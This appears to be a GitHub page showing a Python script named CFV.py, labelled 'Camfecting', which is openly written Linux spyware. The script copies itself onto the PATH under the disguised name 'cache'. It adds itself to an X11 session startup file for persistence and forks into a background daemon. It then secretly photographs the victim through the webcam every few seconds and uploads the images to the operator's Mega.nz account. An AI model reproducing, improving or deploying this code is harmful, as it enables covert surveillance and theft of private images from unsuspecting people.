-
Notifications
You must be signed in to change notification settings - Fork 2
/
CFV.py
230 lines (185 loc) · 6.26 KB
/
CFV.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
#!/usr/bin/env python3.6
###################
# Camfecting #
###################
# ** For Linux System **
from time import ctime, time, sleep
from sys import implementation, platform, argv
from shutil import move
from os import environ, path, mkdir, remove, fork, _exit, EX_OK, chmod
from concurrent.futures import ThreadPoolExecutor as TPPE
####### [*] Start : Upload #######
class Upload(object):
def __init__(self):
self.user = 'Your Email Address' # Your Email in Mega.nz
self.password = 'Your Password' # Your Password in Mega.nz
self.Error = lambda lib: ImportError(f"Please install \
{lib} or write\npython3 -m pip install -r requirements.txt ") # Error Import Models
def LoginAndUploadFileTarget(self, file):
try:
from mega import Mega
up = Mega()
except ImportError:
raise self.Error("mega.py")
exit(0)
try:
m_login = up.login(
email=self.user,
password=self.password
)
m_login.upload(file)
return file
except Exception:
print(None)
exit(0)
####### [*] Start : Camera Capture And Get Image #######
class CameraCaptureAndGetImage(object):
def __init__(self):
# Object Upload
self.up = Upload()
# if the target connect in internet
try:
from requests import get
try: get('https://www.google.com')
except Exception:
exit(0)
except ImportError:
raise self.up.Error("requests")
exit(0)
# import OpenCV Model
try:
from cv2 import VideoCapture, imwrite
self.vIm = VideoCapture
self.wIm = imwrite
except ImportError:
raise self.up.Error("cv2")
exit(0)
# Number id camera pc
self.idCam = None
for i in range(0, 4):
try:
assert self.vIm(i)
self.idCam = i
except Exception:
continue
break
# Path Save Images
lpath = '/tmp/.tmp'
if not platform.startswith('win'):
if not path.isdir(lpath): mkdir(lpath)
self.imPath = lpath
else: exit(0)
# Number Image
self.cou = int()
def processing(self):
'''This is Cpu in Script'''
# Step[1] : get Image
try_image = self.getImage()
if try_image.any():
# Step[2] : Save Image
try_save = self.save(try_image)
if try_save:
# Step[3] : Upload Image
try_uplaod = self.up.LoginAndUploadFileTarget(try_save)
if try_uplaod:
# Step[4] : Delete Image
self.delete(try_uplaod)
else:
raise Exception("Error For Upload")
exit(0)
else:
raise Exception("Error For Saving")
exit(0)
else:
raise Exception("Sorry No cmara in Your Capture")
exit(0)
def getImage(self):
if not self.idCam:
cap = self.vIm(self.idCam)
_, framIm = cap.read()
return framIm
else:
return None
def save(self, *args, **kwargs):
'''
param filename
. @brief Saves an image to a specified file.
.
. The function imwrite saves the image to the specified file. The image format is chosen based on the
. filename extension (see cv::imread for the list of extensions). In general, only 8-bit
. single-channel or 3-channel (with 'BGR' channel order) images
. can be saved using this function, with these exceptions:
'''
data, *_ = args
rpath = path.join(self.imPath, f'.{self.cou}-{implementation._multiarch}-{ctime().split()[-2]}-.jpg')
self.wIm(rpath, data)
return rpath
def delete(self, *args, **kwargs):
rpath, *_ = args
try:
remove(rpath)
except Exception: pass
def main(self):
# Return the current time in seconds since the Epoch.
# Fractions of a second may be present if
# the system clock provides them.
self.start = time()
while True:
self.cou += 1
self.processing()
# sleep((0x1000 - 496)) # One Hours
sleep(5)
####### [*] Start : Install #######
class Install(object):
def __init__(self):
self.sc = argv[0] # name the script
# Join two or more pathname components, inserting '/' as needed.
self.old = path.join(
# D.get(k[,d]) -> D[k] if k in D, else d. d defaults to None.
environ.get('PATH').split(':')[1],
'cache'
)
def getInstall(self):
if not platform.startswith('win'):
if path.isfile(self.old): return None
# Change the access permissions of a file.
chmod(
self.sc,
0x309
)
# Recursively move a file or directory to another location.
move(
self.sc,
self.old
)
return True
####### [*] Start : Daemon #######
class Daemon:
def daemon(func):
def wrapper(*args, **kwargs):
if fork(): return
func(*args, **kwargs)
_exit(EX_OK)
return wrapper
def backDaemon():
path = '/etc/X11/Xsession.d/50x11-common_determine-startup'
try:
if 'cache' not in open(path, 'r').read(): open(path, 'a').write('cache')
except FileNotFoundError:
exit(0)
####### [*] Start : Script #######
@Daemon.daemon
def main():
start = CameraCaptureAndGetImage()
start.main()
if __name__ == "__main__":
# Start Install
obj2 = Install()
if not platform.startswith('win'):
try_ins = obj2.getInstall() # Install Tools
print(try_ins)
if try_ins:
Daemon.backDaemon() # set Virus run startup system
# Start Script
main()
# [+] Listing...